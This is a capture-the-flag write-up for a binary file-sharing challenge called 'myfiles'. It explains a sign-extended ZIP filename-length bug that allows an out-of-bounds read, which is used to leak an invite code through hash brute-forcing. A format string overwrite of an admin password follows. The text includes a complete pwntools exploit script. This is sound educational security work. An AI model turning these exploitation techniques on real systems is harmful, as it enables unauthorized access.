myfiles
wowzers, a brand new file sharing service that supports WinZip ZIP ™️ files???!?!?! I need to get on this right now!!!1
The binary has the following features:
However, we cannot create a user without an invite code, and we cannot get the flag if we are not an admin. We can upload a file and assign it to any user we want, but we cannot view it unless we know the user’s password.
We can list files for any user and get the file name, size and a hash of the content.
Files are only accepted as ZIP files.
After opening the challenge in IDA, due to compiler optimizations, it was very difficult to read the decompiled code. I created some structures to hold data within the application:
The obvious vulnerability is this format string vulnerability inside file read:
But we cannot read a file without knowing a user’s password. And we cannot create a user without knowing the invite code.
The invite code is assigned to Tom, the user with ID 15, with a random password.
Let’s have a look at how a file is uploaded.
The file is read as hex from the standard input, then decoded and passed to readZipInfo
:
It has some preliminary checks over the ZIP structure, ensuring that the files are not compressed. It also checks if the extra field length is 0, but in a rather odd way.
Here’s the ZIP header structure, taken from here:
The file name length and extra field length are both 2 byte long. The binary takes the dword containing the two and compares it to the file name length. In assembly, it looks like this:
It does this by using the cwde
instruction. If we look at an instruction reference (here), we can see that it converts the word into a dword by sign extending:
This means that if the extra field length is 0xffff
we can put any negative value for the file name length. Why is this relevant? The file content offset within the zip file is computed using this file name length, since it has a variable length. But, if the file name length is negative, we can get an out-of-bounds read. Since the uploaded file is stored globally, we can get an offset into the ZIP file containing the invite code, because we can upload a file as Tom.
However, we cannot directly view the leak. We can only view the hashed value. And we cannot upload ZIP files with the inner file size less than 10 bytes. But let’s search the invite code in memory and look at what comes before it. The invite code for the local environment is terrible-red-busses
and is different than the one on the remote.
Before the invite code comes the file name, which is invitecode.txt
. This means we can leak the invite code one byte at a time, by computing an offset inside this invitecode.txt<actual invite code>
string. We can upload ZIP files containing a negative file name length and a compressed size of 10 and get a substring containing 9 known bytes and one unknown from the invite code. So, the first request will be ecode.txt<letter>
, then code.txt<known letter><letter>
, and so on. For each letter we can bruteforce the hash, since we only have 0xff
choices. At each file we have to adjust the offset, since files are stored one after the other. Alternatively, we can create a new connection for each letter.
Helper functions used in following snippets will be provided at the end of the writeup in the final exploit script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def leak_invite_code(io) -> bytes:
offset_to_invite_code = 502
gap_size = 512 + 4
file_name = "invitecode.txt"
required_content_length = 10
current_offset = required_content_length - 1
retrieved_invite_code = ""
current_payload = file_name[-(required_content_length - 1):]
while True:
upload_file(io, TOM, {
"file_name": "test.txt",
"content": "A" * 10,
"file_name_len": -(offset_to_invite_code + gap_size * len(retrieved_invite_code) + current_offset) + 2**16,
"extra_field_len": 0xffff,
"compressed_size": required_content_length,
})
files = read_files(io, TOM)
target_hash = files[-1][3].decode()
for letter in ALPHABET:
current_string = (current_payload + retrieved_invite_code + letter)[-required_content_length:]
current_hash = hex(fnv(current_string.encode()))[2:]
if current_hash == target_hash:
retrieved_invite_code += letter
current_payload = current_payload[1:]
offset_to_invite_code -= 1
print(retrieved_invite_code)
break
else:
break
Now that we have the invite code, we can create users and trigger the format string vulnerability.
Another thing to notice is that Tom’s password is stored on the heap:
From the format string vulnerability we have a heap leak at %10$p
and Tom’s password is at a constant offset from it. We can upload a file that writes a null byte at the beginning of Tom’s password, so we can log in as Tom by providing an empty password and view the flag.
Final exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
from pwn import *
from dataclasses import dataclass
import string
from typing import Optional
old_clean = pwnlib.tubes.tube.tube.clean
pwnlib.tubes.tube.tube.clean = lambda self: old_clean(self, timeout=0.1)
context.arch = "amd64"
context.log_level = "debug"
TOM = 15
def fnv(data: bytes, cycles: Optional[int] = None):
if cycles is None:
cycles = len(data)
result = 0xCBF29CE484222325
for i in range(cycles):
result = 0x100000001B3 * (data[i] ^ result)
result &= 0xffffffffffffffff
return result
ALPHABET = string.ascii_letters + "-"
@dataclass
class Zip:
signature: int # dword
version: int # word
flags: int # word
compression: int # word
mod_time: int # word
mod_date: int # word
crc32: int # dword
compressed_size: int # dword
uncompressed_size: int # dword
file_name_len: int # word
extra_field_len: int # word
file_name: bytes
content: bytes
def __bytes__(self):
return flat(
self.signature,
p16(self.version),
p16(self.flags),
p16(self.compression),
p16(self.mod_time),
p16(self.mod_date),
p32(self.crc32),
p32(self.compressed_size),
p32(self.uncompressed_size),
p16(self.file_name_len),
p16(self.extra_field_len),
self.file_name,
self.content,
)
def create_zip(io, data: dict) -> Zip:
return Zip(
"PK\x03\x04",
0,
0,
0,
0,
0,
0,
data.get("compressed_size", len(data["content"])),
data.get("uncompressed_size", len(data["content"])),
data.get("file_name_len", len(data["file_name"])),
data.get("extra_field_len", 0),
data["file_name"],
data["content"],
)
def upload_file(io, user: int, data: dict):
io.clean()
io.sendline(b"4")
io.clean()
io.sendline(str(user).encode())
io.clean()
io.sendline(bytes(create_zip(io, data)).hex())
io.clean()
def read_files(io, user: int) -> bytes:
io.clean()
io.sendline(b"2")
io.clean()
io.sendline(str(user).encode())
return [line.split(b" ") for line in io.clean().split(b"\n") if line.startswith(b"[FID")]
def connect():
return remote("myfiles.chal.irisc.tf", 10001)
return process("./chal_patched")
return gdb.debug("./chal_patched", """
# b *readZipInfo + 0x1A1
c
""")
def create_user(io, username: str, password: str):
io.clean()
io.sendline(b"3")
io.clean()
io.sendline(invite_code.encode())
io.clean()
io.sendline(username.encode())
io.clean()
io.sendline(password.encode())
io.clean()
def view_file(io, user: int, password: str, file: int) -> bytes:
io.clean()
io.sendline(b"5")
io.clean()
io.sendline(str(user).encode())
io.clean()
io.sendline(password.encode())
io.clean()
io.sendline(str(file).encode())
return io.clean().split(b"\n")[0]
def view_flag(io, user: int, password: bytes) -> bytes:
io.clean()
io.sendline(b"6")
io.clean()
io.sendline(str(user).encode())
io.clean()
io.sendline(password)
return io.clean().split(b"\n")[0]
invite_code = "terrible-red-busses"
invite_code = "yelling-pixel-corals"
def leak_invite_code(io) -> bytes:
offset_to_invite_code = 502
gap_size = 512 + 4
file_name = "invitecode.txt"
required_content_length = 10
current_offset = required_content_length - 1
retrieved_invite_code = ""
current_payload = file_name[-(required_content_length - 1):]
while True:
upload_file(io, TOM, {
"file_name": "test.txt",
"content": "A" * 10,
"file_name_len": -(offset_to_invite_code + gap_size * len(retrieved_invite_code) + current_offset) + 2**16,
"extra_field_len": 0xffff,
"compressed_size": required_content_length,
})
files = read_files(io, TOM)
target_hash = files[-1][3].decode()
for letter in ALPHABET:
current_string = (current_payload + retrieved_invite_code + letter)[-required_content_length:]
current_hash = hex(fnv(current_string.encode()))[2:]
if current_hash == target_hash:
retrieved_invite_code += letter
current_payload = current_payload[1:]
offset_to_invite_code -= 1
print(retrieved_invite_code)
break
else:
break
io = connect()
# leak_invite_code(io)
create_user(io, "test", "test")
upload_file(io, 0, {
"file_name": "leak.txt",
"content": "%10$p" + "A" * 10
})
heap_leak = int(view_file(io, 0, "test", 0)[:-10], 16)
log.success(f"{heap_leak = :#0x}")
heap_base = heap_leak - 0x930
log.success(f"{heap_base = :#0x}")
heap_tom_password = heap_base + 0x480
log.success(f"{heap_tom_password = :#0x}")
upload_file(io, 0, {
"file_name": "pwn.txt",
"content": fmtstr_payload(14, {
heap_tom_password: 0x00
})
})
view_file(io, 0, "test", 1)
flag = view_flag(io, 15, b"\x00")
log.success(f"{flag = }")
io.interactive()